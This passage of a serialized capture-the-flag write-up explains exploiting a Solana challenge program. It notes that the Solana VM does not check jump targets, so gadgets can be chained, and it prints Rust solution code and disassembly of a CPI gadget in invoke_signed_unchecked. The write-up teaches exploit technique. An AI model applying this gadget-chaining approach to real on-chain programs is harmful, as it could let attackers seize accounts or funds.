instruction",{"type":23,"tag":230,"props":45140,"children":45141},{"style":268},[45142],{"type":29,"value":271},{"type":23,"tag":230,"props":45144,"children":45145},{"style":676},[45146],{"type":29,"value":42778},{"type":23,"tag":230,"props":45148,"children":45149},{"style":268},[45150],{"type":29,"value":5818},{"type":23,"tag":230,"props":45152,"children":45153},{"style":294},[45154],{"type":29,"value":45155},"new_with_bincode",{"type":23,"tag":230,"props":45157,"children":45158},{"style":274},[45159],{"type":29,"value":619},{"type":23,"tag":230,"props":45161,"children":45162},{"class":232,"line":462},[45163,45168,45172],{"type":23,"tag":230,"props":45164,"children":45165},{"style":274},[45166],{"type":29,"value":45167},"        system_program",{"type":23,"tag":230,"props":45169,"children":45170},{"style":268},[45171],{"type":29,"value":5818},{"type":23,"tag":230,"props":45173,"children":45174},{"style":274},[45175],{"type":29,"value":45176},"ID,\n",{"type":23,"tag":230,"props":45178,"children":45179},{"class":232,"line":471},[45180,45184,45189,45193,45198],{"type":23,"tag":230,"props":45181,"children":45182},{"style":268},[45183],{"type":29,"value":5808},{"type":23,"tag":230,"props":45185,"children":45186},{"style":274},[45187],{"type":29,"value":45188},"SystemInstruction",{"type":23,"tag":230,"props":45190,"children":45191},{"style":268},[45192],{"type":29,"value":5818},{"type":23,"tag":230,"props":45194,"children":45195},{"style":676},[45196],{"type":29,"value":45197},"CreateAccount",{"type":23,"tag":230,"props":45199,"children":45200},{"style":274},[45201],{"type":29,"value":277},{"type":23,"tag":230,"props":45203,"children":45204},{"class":232,"line":500},[45205,45210,45214,45219],{"type":23,"tag":230,"props":45206,"children":45207},{"style":262},[45208],{"type":29,"value":45209},"            space",{"type":23,"tag":230,"props":45211,"children":45212},{"style":268},[45213],{"type":29,"value":218},{"type":23,"tag":230,"props":45215,"children":45216},{"style":5149},[45217],{"type":29,"value":45218}," 0x1337",{"type":23,"tag":230,"props":45220,"children":45221},{"style":274},[45222],{"type":29,"value":388},{"type":23,"tag":230,"props":45224,"children":45225},{"class":232,"line":514},[45226,45231,45235,45240,45244,45249,45253,45257,45262,45266,45271],{"type":23,"tag":230,"props":45227,"children":45228},{"style":262},[45229],{"type":29,"value":45230},"            lamports",{"type":23,"tag":230,"props":45232,"children":45233},{"style":268},[45234],{"type":29,"value":218},{"type":23,"tag":230,"props":45236,"children":45237},{"style":274},[45238],{"type":29,"value":45239}," Rent",{"type":23,"tag":230,"props":45241,"children":45242},{"style":268},[45243],{"type":29,"value":5818},{"type":23,"tag":230,"props":45245,"children":45246},{"style":294},[45247],{"type":29,"value":45248},"default",{"type":23,"tag":230,"props":45250,"children":45251},{"style":274},[45252],{"type":29,"value":16206},{"type":23,"tag":230,"props":45254,"children":45255},{"style":268},[45256],{"type":29,"value":312},{"type":23,"tag":230,"props":45258,"children":45259},{"style":294},[45260],{"type":29,"value":45261},"minimum_balance",{"type":23,"tag":230,"props":45263,"children":45264},{"style":274},[45265],{"type":29,"value":302},{"type":23,"tag":230,"props":45267,"children":45268},{"style":5149},[45269],{"type":29,"value":45270},"0x1337",{"type":23,"tag":230,"props":45272,"children":45273},{"style":274},[45274],{"type":29,"value":331},{"type":23,"tag":230,"props":45276,"children":45277},{"class":232,"line":897},[45278,45283,45287,45291,45295],{"type":23,"tag":230,"props":45279,"children":45280},{"style":262},[45281],{"type":29,"value":45282},"            owner",{"type":23,"tag":230,"props":45284,"children":45285},{"style":268},[45286],{"type":29,"value":218},{"type":23,"tag":230,"props":45288,"children":45289},{"style":274},[45290],{"type":29,"value":43810},{"type":23,"tag":230,"props":45292,"children":45293},{"style":268},[45294],{"type":29,"value":5818},{"type":23,"tag":230,"props":45296,"children":45297},{"style":274},[45298],{"type":29,"value":45299},"ID\n",{"type":23,"tag":230,"props":45301,"children":45302},{"class":232,"line":960},[45303],{"type":23,"tag":230,"props":45304,"children":45305},{"style":274},[45306],{"type":29,"value":27680},{"type":23,"tag":230,"props":45308,"children":45309},{"class":232,"line":969},[45310,45315],{"type":23,"tag":230,"props":45311,"children":45312},{"style":294},[45313],{"type":29,"value":45314},"        vec!",{"type":23,"tag":230,"props":45316,"children":45317},{"style":274},[45318],{"type":29,"value":45319},"[\n",{"type":23,"tag":230,"props":45321,"children":45322},{"class":232,"line":4526},[45323,45328,45332,45336,45340,45344,45349,45353,45358,45362],{"type":23,"tag":230,"props":45324,"children":45325},{"style":274},[45326],{"type":29,"value":45327},"            AccountMeta",{"type":23,"tag":230,"props":45329,"children":45330},{"style":268},[45331],{"type":29,"value":5818},{"type":23,"tag":230,"props":45333,"children":45334},{"style":294},[45335],{"type":29,"value":17448},{"type":23,"tag":230,"props":45337,"children":45338},{"style":274},[45339],{"type":29,"value":302},{"type":23,"tag":230,"props":45341,"children":45342},{"style":268},[45343],{"type":29,"value":6909},{"type":23,"tag":230,"props":45345,"children":45346},{"style":262},[45347],{"type":29,"value":45348},"user_ai",{"type":23,"tag":230,"props":45350,"children":45351},{"style":268},[45352],{"type":29,"value":312},{"type":23,"tag":230,"props":45354,"children":45355},{"style":274},[45356],{"type":29,"value":45357},"key, ",{"type":23,"tag":230,"props":45359,"children":45360},{"style":256},[45361],{"type":29,"value":1726},{"type":23,"tag":230,"props":45363,"children":45364},{"style":274},[45365],{"type":29,"value":331},{"type":23,"tag":230,"props":45367,"children":45368},{"class":232,"line":4534},[45369,45373,45377,45381,45385,45389,45394,45398,45402,45406],{"type":23,"tag":230,"props":45370,"children":45371},{"style":274},[45372],{"type":29,"value":45327},{"type":23,"tag":230,"props":45374,"children":45375},{"style":268},[45376],{"type":29,"value":5818},{"type":23,"tag":230,"props":45378,"children":45379},{"style":294},[45380],{"type":29,"value":17448},{"type":23,"tag":230,"props":45382,"children":45383},{"style":274},[45384],{"type":29,"value":302},{"type":23,"tag":230,"props":45386,"children":45387},{"style":268},[45388],{"type":29,"value":6909},{"type":23,"tag":230,"props":45390,"children":45391},{"style":262},[45392],{"type":29,"value":45393},"flag_pda_ai",{"type":23,"tag":230,"props":45395,"children":45396},{"style":268},[45397],{"type":29,"value":312},{"type":23,"tag":230,"props":45399,"children":45400},{"style":274},[45401],{"type":29,"value":45357},{"type":23,"tag":230,"props":45403,"children":45404},{"style":256},[45405],{"type":29,"value":1726},{"type":23,"tag":230,"props":45407,"children":45408},{"style":274},[45409],{"type":29,"value":331},{"type":23,"tag":230,"props":45411,"children":45412},{"class":232,"line":4542},[45413],{"type":23,"tag":230,"props":45414,"children":45415},{"style":274},[45416],{"type":29,"value":45417},"        ],\n",{"type":23,"tag":230,"props":45419,"children":45420},{"class":232,"line":4559},[45421],{"type":23,"tag":230,"props":45422,"children":45423},{"style":274},[45424],{"type":29,"value":45425},"    );\n",{"type":23,"tag":230,"props":45427,"children":45428},{"class":232,"line":4587},[45429,45433],{"type":23,"tag":230,"props":45430,"children":45431},{"style":294},[45432],{"type":29,"value":42895},{"type":23,"tag":230,"props":45434,"children":45435},{"style":274},[45436],{"type":29,"value":619},{"type":23,"tag":230,"props":45438,"children":45439},{"class":232,"line":4595},[45440,45444,45449],{"type":23,"tag":230,"props":45441,"children":45442},{"style":268},[45443],{"type":29,"value":5808},{"type":23,"tag":230,"props":45445,"children":45446},{"style":262},[45447],{"type":29,"value":45448},"instruction",{"type":23,"tag":230,"props":45450,"children":45451},{"style":274},[45452],{"type":29,"value":388},{"type":23,"tag":230,"props":45454,"children":45455},{"class":232,"line":4619},[45456,45460],{"type":23,"tag":230,"props":45457,"children":45458},{"style":268},[45459],{"type":29,"value":5808},{"type":23,"tag":230,"props":45461,"children":45462},{"style":274},[45463],{"type":29,"value":45319},{"type":23,"tag":230,"props":45465,"children":45466},{"class":232,"line":4627},[45467,45472,45476,45480],{"type":23,"tag":230,"props":45468,"children":45469},{"style":262},[45470],{"type":29,"value":45471},"            user_ai",{"type":23,"tag":230,"props":45473,"children":45474},{"style":268},[45475],{"type":29,"value":312},{"type":23,"tag":230,"props":45477,"children":45478},{"style":294},[45479],{"type":29,"value":17744},{"type":23,"tag":230,"props":45481,"children":45482},{"style":274},[45483],{"type":29,"value":5827},{"type":23,"tag":230,"props":45485,"children":45486},{"class":232,"line":4659},[45487,45492,45496,45500],{"type":23,"tag":230,"props":45488,"children":45489},{"style":262},[45490],{"type":29,"value":45491},"            flag_pda_ai",{"type":23,"tag":230,"props":45493,"children":45494},{"style":268},[45495],{"type":29,"value":312},{"type":23,"tag":230,"props":45497,"children":45498},{"style":294},[45499],{"type":29,"value":17744},{"type":23,"tag":230,"props":45501,"children":45502},{"style":274},[45503],{"type":29,"value":5827},{"type":23,"tag":230,"props":45505,"children":45506},{"class":232,"line":4671},[45507],{"type":23,"tag":230,"props":45508,"children":45509},{"style":274},[45510],{"type":29,"value":45417},{"type":23,"tag":230,"props":45512,"children":45513},{"class":232,"line":4688},[45514,45518,45522,45526,45530,45534,45538,45542],{"type":23,"tag":230,"props":45515,"children":45516},{"style":268},[45517],{"type":29,"value":5808},{"type":23,"tag":230,"props":45519,"children":45520},{"style":274},[45521],{"type":29,"value":6069},{"type":23,"tag":230,"props":45523,"children":45524},{"style":268},[45525],{"type":29,"value":5448},{"type":23,"tag":230,"props":45527,"children":45528},{"style":274},[45529],{"type":29,"value":6069},{"type":23,"tag":230,"props":45531,"children":45532},{"style":380},[45533],{"type":29,"value":44390},{"type":23,"tag":230,"props":45535,"children":45536},{"style":268},[45537],{"type":29,"value":312},{"type":23,"tag":230,"props":45539,"children":45540},{"style":294},[45541],{"type":29,"value":44399},{"type":23,"tag":230,"props":45543,"children":45544},{"style":274},[45545],{"type":29,"value":45546},"()]],\n",{"type":23,"tag":230,"props":45548,"children":45549},{"class":232,"line":4701},[45550,45554,45558],{"type":23,"tag":230,"props":45551,"children":45552},{"style":274},[45553],{"type":29,"value":5992},{"type":23,"tag":230,"props":45555,"children":45556},{"style":268},[45557],{"type":29,"value":5494},{"type":23,"tag":230,"props":45559,"children":45560},{"style":274},[45561],{"type":29,"value":511},{"type":23,"tag":230,"props":45563,"children":45564},{"class":232,"line":4724},[45565],{"type":23,"tag":230,"props":45566,"children":45567},{"emptyLinePlaceholder":18},[45568],{"type":29,"value":459},{"type":23,"tag":230,"props":45570,"children":45571},{"class":232,"line":4741},[45572],{"type":23,"tag":230,"props":45573,"children":45574},{"style":237},[45575],{"type":29,"value":45576},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":230,"props":45578,"children":45579},{"class":232,"line":4759},[45580,45585,45589,45593,45597,45601,45605,45609,45613,45617,45621,45626,45630,45634,45639,45643,45647,45652],{"type":23,"tag":230,"props":45581,"children":45582},{"style":262},[45583],{"type":29,"value":45584},"    flag_pda_ai",{"type":23,"tag":230,"props":45586,"children":45587},{"style":268},[45588],{"type":29,"value":312},{"type":23,"tag":230,"props":45590,"children":45591},{"style":294},[45592],{"type":29,"value":16201},{"type":23,"tag":230,"props":45594,"children":45595},{"style":274},[45596],{"type":29,"value":16206},{"type":23,"tag":230,"props":45598,"children":45599},{"style":268},[45600],{"type":29,"value":5494},{"type":23,"tag":230,"props":45602,"children":45603},{"style":274},[45604],{"type":29,"value":6069},{"type":23,"tag":230,"props":45606,"children":45607},{"style":268},[45608],{"type":29,"value":5391},{"type":23,"tag":230,"props":45610,"children":45611},{"style":5149},[45612],{"type":29,"value":6412},{"type":23,"tag":230,"props":45614,"children":45615},{"style":274},[45616],{"type":29,"value":17735},{"type":23,"tag":230,"props":45618,"children":45619},{"style":268},[45620],{"type":29,"value":312},{"type":23,"tag":230,"props":45622,"children":45623},{"style":294},[45624],{"type":29,"value":45625},"copy_from_slice",{"type":23,"tag":230,"props":45627,"children":45628},{"style":274},[45629],{"type":29,"value":302},{"type":23,"tag":230,"props":45631,"children":45632},{"style":268},[45633],{"type":29,"value":5448},{"type":23,"tag":230,"props":45635,"children":45636},{"style":5149},[45637],{"type":29,"value":45638},"0x4337",{"type":23,"tag":230,"props":45640,"children":45641},{"style":676},[45642],{"type":29,"value":10377},{"type":23,"tag":230,"props":45644,"children":45645},{"style":268},[45646],{"type":29,"value":312},{"type":23,"tag":230,"props":45648,"children":45649},{"style":294},[45650],{"type":29,"value":45651},"to_le_bytes",{"type":23,"tag":230,"props":45653,"children":45654},{"style":274},[45655],{"type":29,"value":17749},{"type":23,"tag":230,"props":45657,"children":45658},{"class":232,"line":4768},[45659],{"type":23,"tag":230,"props":45660,"children":45661},{"emptyLinePlaceholder":18},[45662],{"type":29,"value":459},{"type":23,"tag":230,"props":45664,"children":45665},{"class":232,"line":4776},[45666,45670],{"type":23,"tag":230,"props":45667,"children":45668},{"style":676},[45669],{"type":29,"value":16660},{"type":23,"tag":230,"props":45671,"children":45672},{"style":274},[45673],{"type":29,"value":16665},{"type":23,"tag":230,"props":45675,"children":45676},{"class":232,"line":4784},[45677],{"type":23,"tag":230,"props":45678,"children":45679},{"style":274},[45680],{"type":29,"value":975},{"type":23,"tag":32,"props":45682,"children":45683},{},[45684],{"type":29,"value":45685},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":32,"props":45687,"children":45688},{},[45689],{"type":23,"tag":93,"props":45690,"children":45693},{"alt":45691,"src":45692},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":32,"props":45695,"children":45696},{},[45697],{"type":29,"value":45698},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":24,"props":45700,"children":45702},{"id":45701},"solution-implementation",[45703],{"type":29,"value":45704},"Solution Implementation",{"type":23,"tag":32,"props":45706,"children":45707},{},[45708,45710,45715],{"type":29,"value":45709},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":71,"props":45711,"children":45713},{"className":45712},[],[45714],{"type":29,"value":307},{"type":29,"value":45716}," invocations:",{"type":23,"tag":220,"props":45718,"children":45722},{"className":45719,"code":45720,"language":45721,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[45723],{"type":23,"tag":71,"props":45724,"children":45725},{"__ignoreMap":7},[45726,45734,45742,45750,45758,45766,45774],{"type":23,"tag":230,"props":45727,"children":45728},{"class":232,"line":233},[45729],{"type":23,"tag":230,"props":45730,"children":45731},{},[45732],{"type":29,"value":45733},"graph LR\n",{"type":23,"tag":230,"props":45735,"children":45736},{"class":232,"line":243},[45737],{"type":23,"tag":230,"props":45738,"children":45739},{},[45740],{"type":29,"value":45741},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":230,"props":45743,"children":45744},{"class":232,"line":252},[45745],{"type":23,"tag":230,"props":45746,"children":45747},{},[45748],{"type":29,"value":45749},"    B --> C[2: process]\n",{"type":23,"tag":230,"props":45751,"children":45752},{"class":232,"line":280},[45753],{"type":23,"tag":230,"props":45754,"children":45755},{},[45756],{"type":29,"value":45757},"    C --> D[3: gadget1]\n",{"type":23,"tag":230,"props":45759,"children":45760},{"class":232,"line":334},[45761],{"type":23,"tag":230,"props":45762,"children":45763},{},[45764],{"type":29,"value":45765},"    C --> E[3: process]\n",{"type":23,"tag":230,"props":45767,"children":45768},{"class":232,"line":371},[45769],{"type":23,"tag":230,"props":45770,"children":45771},{},[45772],{"type":29,"value":45773},"    E --> F[4: gadget2]\n",{"type":23,"tag":230,"props":45775,"children":45776},{"class":232,"line":391},[45777],{"type":23,"tag":230,"props":45778,"children":45779},{},[45780],{"type":29,"value":45781},"    E --> G[...]\n",{"type":23,"tag":32,"props":45783,"children":45784},{},[45785],{"type":29,"value":45786},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":32,"props":45788,"children":45789},{},[45790,45792,45798],{"type":29,"value":45791},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":181,"props":45793,"children":45795},{"href":42253,"rel":45794},[185],[45796],{"type":29,"value":45797},"Binary Ninja",{"type":29,"value":45799}," to find a suitable gadget for this.",{"type":23,"tag":32,"props":45801,"children":45802},{},[45803,45805,45812],{"type":29,"value":45804},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":181,"props":45806,"children":45809},{"href":45807,"rel":45808},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[185],[45810],{"type":29,"value":45811},"skip the strip pass",{"type":29,"value":312},{"type":23,"tag":59,"props":45814,"children":45816},{"id":45815},"cpi-gadget",[45817],{"type":29,"value":45818},"CPI Gadget",{"type":23,"tag":32,"props":45820,"children":45821},{},[45822,45824,45829,45831,45838,45840,45846],{"type":29,"value":45823},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":71,"props":45825,"children":45827},{"className":45826},[],[45828],{"type":29,"value":2985},{"type":29,"value":45830}," function. This function calls into the solana sdk's function ",{"type":23,"tag":181,"props":45832,"children":45835},{"href":45833,"rel":45834},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[185],[45836],{"type":29,"value":45837},"invoke_signed_unchecked",{"type":29,"value":45839},", yielding a powerful gadget at the address ",{"type":23,"tag":71,"props":45841,"children":45843},{"className":45842},[],[45844],{"type":29,"value":45845},"0x100001ba8",{"type":29,"value":312},{"type":23,"tag":220,"props":45848,"children":45850},{"className":5320,"code":45849,"language":5319,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[45851],{"type":23,"tag":71,"props":45852,"children":45853},{"__ignoreMap":7},[45854,45879,45935,45986,46038,46090,46113,46161,46168,46200,46251,46309,46343,46350,46399,46429,46504,46511,46562,46608,46615,46646,46697,46727,46749,46756,46807,46852,46859,46910,46938,46959,46966],{"type":23,"tag":230,"props":45855,"children":45856},{"class":232,"line":233},[45857,45861,45865,45870,45874],{"type":23,"tag":230,"props":45858,"children":45859},{"style":274},[45860],{"type":29,"value":15980},{"type":23,"tag":230,"props":45862,"children":45863},{"style":268},[45864],{"type":29,"value":5818},{"type":23,"tag":230,"props":45866,"children":45867},{"style":274},[45868],{"type":29,"value":45869},"program",{"type":23,"tag":230,"props":45871,"children":45872},{"style":268},[45873],{"type":29,"value":5818},{"type":23,"tag":230,"props":45875,"children":45876},{"style":262},[45877],{"type":29,"value":45878},"invoke_signed_unchecked\n",{"type":23,"tag":230,"props":45880,"children":45881},{"class":232,"line":243},[45882,45887,45892,45897,45902,45907,45912,45916,45921,45926,45931],{"type":23,"tag":230,"props":45883,"children":45884},{"style":262},[45885],{"type":29,"value":45886},"100001ba8",{"type":23,"tag":230,"props":45888,"children":45889},{"style":262},[45890],{"type":29,"value":45891},"  79a278ff00000000",{"type":23,"tag":230,"props":45893,"children":45894},{"style":262},[45895],{"type":29,"value":45896},"   ldxdw",{"type":23,"tag":230,"props":45898,"children":45899},{"style":262},[45900],{"type":29,"value":45901}," r2",{"type":23,"tag":230,"props":45903,"children":45904},{"style":274},[45905],{"type":29,"value":45906},", [",{"type":23,"tag":230,"props":45908,"children":45909},{"style":262},[45910],{"type":29,"value":45911},"r10",{"type":23,"tag":230,"props":45913,"children":45914},{"style":268},[45915],{"type":29,"value":6665},{"type":23,"tag":230,"props":45917,"children":45918},{"style":5149},[45919],{"type":29,"value":45920},"136",{"type":23,"tag":230,"props":45922,"children":45923},{"style":274},[45924],{"type":29,"value":45925},"] {",{"type":23,"tag":230,"props":45927,"children":45928},{"style":262},[45929],{"type":29,"value":45930},"var_88",{"type":23,"tag":230,"props":45932,"children":45933},{"style":274},[45934],{"type":29,"value":975},{"type":23,"tag":230,"props":45936,"children":45937},{"class":232,"line":252},[45938,45943,45948,45952,45957,45961,45965,45969,45973,45977,45982],{"type":23,"tag":230,"props":45939,"children":45940},{"style":262},[45941],{"type":29,"value":45942},"100001bb0",{"type":23,"tag":230,"props":45944,"children":45945},{"style":262},[45946],{"type":29,"value":45947},"  79a380ff00000000",{"type":23,"tag":230,"props":45949,"children":45950},{"style":262},[45951],{"type":29,"value":45896},{"type":23,"tag":230,"props":45953,"children":45954},{"style":262},[45955],{"type":29,"value":45956}," r3",{"type":23,"tag":230,"props":45958,"children":45959},{"style":274},[45960],{"type":29,"value":45906},{"type":23,"tag":230,"props":45962,"children":45963},{"style":262},[45964],{"type":29,"value":45911},{"type":23,"tag":230,"props":45966,"children":45967},{"style":268},[45968],{"type":29,"value":6665},{"type":23,"tag":230,"props":45970,"children":45971},{"style":5149},[45972],{"type":29,"value":32154},{"type":23,"tag":230,"props":45974,"children":45975},{"style":274},[45976],{"type":29,"value":45925},{"type":23,"tag":230,"props":45978,"children":45979},{"style":262},[45980],{"type":29,"value":45981},"var_80",{"type":23,"tag":230,"props":45983,"children":45984},{"style":274},[45985],{"type":29,"value":975},{"type":23,"tag":230,"props":45987,"children":45988},{"class":232,"line":280},[45989,45994,45999,46003,46008,46012,46016,46020,46025,46029,46034],{"type":23,"tag":230,"props":45990,"children":45991},{"style":262},[45992],{"type":29,"value":45993},"100001bb8",{"type":23,"tag":230,"props":45995,"children":45996},{"style":262},[45997],{"type":29,"value":45998},"  79a468ff00000000",{"type":23,"tag":230,"props":46000,"children":46001},{"style":262},[46002],{"type":29,"value":45896},{"type":23,"tag":230,"props":46004,"children":46005},{"style":262},[46006],{"type":29,"value":46007}," r4",{"type":23,"tag":230,"props":46009,"children":46010},{"style":274},[46011],{"type":29,"value":45906},{"type":23,"tag":230,"props":46013,"children":46014},{"style":262},[46015],{"type":29,"value":45911},{"type":23,"tag":230,"props":46017,"children":46018},{"style":268},[46019],{"type":29,"value":6665},{"type":23,"tag":230,"props":46021,"children":46022},{"style":5149},[46023],{"type":29,"value":46024},"152",{"type":23,"tag":230,"props":46026,"children":46027},{"style":274},[46028],{"type":29,"value":45925},{"type":23,"tag":230,"props":46030,"children":46031},{"style":262},[46032],{"type":29,"value":46033},"var_98",{"type":23,"tag":230,"props":46035,"children":46036},{"style":274},[46037],{"type":29,"value":975},{"type":23,"tag":230,"props":46039,"children":46040},{"class":232,"line":334},[46041,46046,46051,46055,46060,46064,46068,46072,46077,46081,46086],{"type":23,"tag":230,"props":46042,"children":46043},{"style":262},[46044],{"type":29,"value":46045},"100001bc0",{"type":23,"tag":230,"props":46047,"children":46048},{"style":262},[46049],{"type":29,"value":46050},"  79a570ff00000000",{"type":23,"tag":230,"props":46052,"children":46053},{"style":262},[46054],{"type":29,"value":45896},{"type":23,"tag":230,"props":46056,"children":46057},{"style":262},[46058],{"type":29,"value":46059}," r5",{"type":23,"tag":230,"props":46061,"children":46062},{"style":274},[46063],{"type":29,"value":45906},{"type":23,"tag":230,"props":46065,"children":46066},{"style":262},[46067],{"type":29,"value":45911},{"type":23,"tag":230,"props":46069,"children":46070},{"style":268},[46071],{"type":29,"value":6665},{"type":23,"tag":230,"props":46073,"children":46074},{"style":5149},[46075],{"type":29,"value":46076},"144",{"type":23,"tag":230,"props":46078,"children":46079},{"style":274},[46080],{"type":29,"value":45925},{"type":23,"tag":230,"props":46082,"children":46083},{"style":262},[46084],{"type":29,"value":46085},"var_90",{"type":23,"tag":230,"props":46087,"children":46088},{"style":274},[46089],{"type":29,"value":975},{"type":23,"tag":230,"props":46091,"children":46092},{"class":232,"line":371},[46093,46098,46103,46108],{"type":23,"tag":230,"props":46094,"children":46095},{"style":262},[46096],{"type":29,"value":46097},"100001bc8",{"type":23,"tag":230,"props":46099,"children":46100},{"style":5149},[46101],{"type":29,"value":46102},"  8520000020100000",{"type":23,"tag":230,"props":46104,"children":46105},{"style":262},[46106],{"type":29,"value":46107},"   call",{"type":23,"tag":230,"props":46109,"children":46110},{"style":262},[46111],{"type":29,"value":46112}," sol_invoke_signed_rust\n",{"type":23,"tag":230,"props":46114,"children":46115},{"class":232,"line":391},[46116,46121,46126,46131,46135,46139,46143,46147,46152,46156],{"type":23,"tag":230,"props":46117,"children":46118},{"style":262},[46119],{"type":29,"value":46120},"100001bd0",{"type":23,"tag":230,"props":46122,"children":46123},{"style":5149},[46124],{"type":29,"value":46125},"  5500040000000000",{"type":23,"tag":230,"props":46127,"children":46128},{"style":262},[46129],{"type":29,"value":46130},"   jne",{"type":23,"tag":230,"props":46132,"children":46133},{"style":274},[46134],{"type":29,"value":11055},{"type":23,"tag":230,"props":46136,"children":46137},{"style":268},[46138],{"type":29,"value":6719},{"type":23,"tag":230,"props":46140,"children":46141},{"style":5149},[46142],{"type":29,"value":19849},{"type":23,"tag":230,"props":46144,"children":46145},{"style":274},[46146],{"type":29,"value":8158},{"type":23,"tag":230,"props":46148,"children":46149},{"style":262},[46150],{"type":29,"value":46151},"r0",{"type":23,"tag":230,"props":46153,"children":46154},{"style":274},[46155],{"type":29,"value":684},{"type":23,"tag":230,"props":46157,"children":46158},{"style":5149},[46159],{"type":29,"value":46160},"0x0\n",{"type":23,"tag":230,"props":46162,"children":46163},{"class":232,"line":400},[46164],{"type":23,"tag":230,"props":46165,"children":46166},{"emptyLinePlaceholder":18},[46167],{"type":29,"value":459},{"type":23,"tag":230,"props":46169,"children":46170},{"class":232,"line":444},[46171,46176,46181,46186,46191,46195],{"type":23,"tag":230,"props":46172,"children":46173},{"style":262},[46174],{"type":29,"value":46175},"100001bd8",{"type":23,"tag":230,"props":46177,"children":46178},{"style":262},[46179],{"type":29,"value":46180},"  b701000018000000",{"type":23,"tag":230,"props":46182,"children":46183},{"style":262},[46184],{"type":29,"value":46185},"   mov",{"type":23,"tag":230,"props":46187,"children":46188},{"style":262},[46189],{"type":29,"value":46190}," r1",{"type":23,"tag":230,"props":46192,"children":46193},{"style":274},[46194],{"type":29,"value":684},{"type":23,"tag":230,"props":46196,"children":46197},{"style":5149},[46198],{"type":29,"value":46199},"0x18\n",{"type":23,"tag":230,"props":46201,"children":46202},{"class":232,"line":453},[46203,46208,46213,46217,46221,46225,46229,46233,46238,46242,46247],{"type":23,"tag":230,"props":46204,"children":46205},{"style":262},[46206],{"type":29,"value":46207},"100001be0",{"type":23,"tag":230,"props":46209,"children":46210},{"style":262},[46211],{"type":29,"value":46212},"  79a288ff00000000",{"type":23,"tag":230,"props":46214,"children":46215},{"style":262},[46216],{"type":29,"value":45896},{"type":23,"tag":230,"props":46218,"children":46219},{"style":262},[46220],{"type":29,"value":45901},{"type":23,"tag":230,"props":46222,"children":46223},{"style":274},[46224],{"type":29,"value":45906},{"type":23,"tag":230,"props":46226,"children":46227},{"style":262},[46228],{"type":29,"value":45911},{"type":23,"tag":230,"props":46230,"children":46231},{"style":268},[46232],{"type":29,"value":6665},{"type":23,"tag":230,"props":46234,"children":46235},{"style":5149},[46236],{"type":29,"value":46237},"120",{"type":23,"tag":230,"props":46239,"children":46240},{"style":274},[46241],{"type":29,"value":45925},{"type":23,"tag":230,"props":46243,"children":46244},{"style":262},[46245],{"type":29,"value":46246},"var_78",{"type":23,"tag":230,"props":46248,"children":46249},{"style":274},[46250],{"type":29,"value":975},{"type":23,"tag":230,"props":46252,"children":46253},{"class":232,"line":462},[46254,46259,46264,46269,46273,46278,46282,46286,46290,46295,46300,46305],{"type":23,"tag":230,"props":46255,"children":46256},{"style":262},[46257],{"type":29,"value":46258},"100001be8",{"type":23,"tag":230,"props":46260,"children":46261},{"style":5149},[46262],{"type":29,"value":46263},"  6312000000000000",{"type":23,"tag":230,"props":46265,"children":46266},{"style":262},[46267],{"type":29,"value":46268},"   